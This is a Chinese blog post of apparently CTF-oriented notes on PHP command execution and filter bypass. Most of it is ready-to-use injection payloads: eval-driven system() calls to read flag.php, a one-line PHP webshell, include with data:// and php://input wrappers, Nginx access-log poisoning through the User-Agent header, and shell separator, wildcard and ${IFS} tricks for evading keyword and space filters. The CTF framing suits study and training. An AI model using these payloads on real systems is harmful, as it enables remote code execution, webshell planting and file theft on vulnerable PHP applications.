PHP命令執行與繞過

OneCoffee發表於2024-08-16

一、eval()函式呼叫--無嚴格過濾:

image

1、highlight_file()高亮顯示:

?c=highlight_file(base64_decode("ZmxhZy5waHA="));

2、shell命令:

?c=system("tac fl*g.php");

?c=system("cat fl*g.php");

3、echo直接列印:(使用反引號包裹shell命令)

?c=echo 'tac fla*.php';

4、一句話木馬:

?c=@eval($_GET[1]);&1=system("tac flag.php");

一句話木馬 + cp複製命令:

?c=@eval($_GET[1]);&1=system("cp flag.php a.txt");

image

一句話木馬 + php偽協議:

?c=@eval($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php

5、include包含 + 偽協議:

?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

?c=include$_GET[1]?>&1=php://input + POST提交PHP命令執行程式碼

6、Nginx日誌注入:

Nginx日誌預設路徑-->/var/log/nginx/access.log

?c=include$_GET[1]?>&1=../../../../var/log/nginx/access.log

透過UA頭寫入一句話木馬-->system指令 / 蟻劍連線

7、php函式呼叫繞過關鍵字元過濾:

getcwd() 函式返回當前工作目錄。它可以代替pos(localeconv())

localeconv():返回包含本地化數字和貨幣格式資訊的關聯陣列。這裡主要是返回值為陣列且第一項為"."

pos():輸出陣列第一個元素,不改變指標;

current() 函式返回陣列中的當前元素(單元),預設取第一個值,和pos()一樣

scandir() 函式返回指定目錄中的檔案和目錄的陣列。這裡因為引數為"."所以遍歷當前目錄

array_reverse():陣列逆置

next():將陣列指標指向下一個,這裡其實可以省略倒置和改變陣列指標,直接利用[2]取出陣列也可以

show_source():檢視原始碼

pos() 函式返回陣列中的當前元素的值。該函式是current()函式的別名。

每個陣列中都有一個內部的指標指向它的"當前"元素,初始指向插入到陣列中的第一個元素。

提示:該函式不會移動陣列內部指標。

程式碼演示:
localeconv()函式:

image

pos(localeconv()):指向第一個元素,不改變指標

image

scandir(pos(localeconv()))-->引數為.以此遍歷當前目錄

image

透過遍歷目錄-->獲取flag.php檔案的具體位置:

?c=var_dump(scandir(pos(localeconv())));

image

再透過next()和array_reverse()令指標指向flag.php所在位置-->show_source()讀取即可:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

二、include()函式使用不當導致命令執行:

詳見 --> 檔案包含與偽協議

三、分隔符 " ; " " || " " & " " && " 的使用:

| //只執行後面那條命令
|| //只執行前面那條命令
& //兩條命令都會執行
&& //兩條命令都會執行

(ctfshow-web42)
image

使用 || 只執行第一條命令:

?c=tac flag.php ||

四、關鍵字、關鍵符號、空格的繞過:

(1) 禁用 flag、tac等關鍵字:

flag --> fl*g
flag --> fla?
flag --> fl''ag

(2) 禁用 空格:

空格 --> ${IFS}、%09、< 等繞過方式

相關文章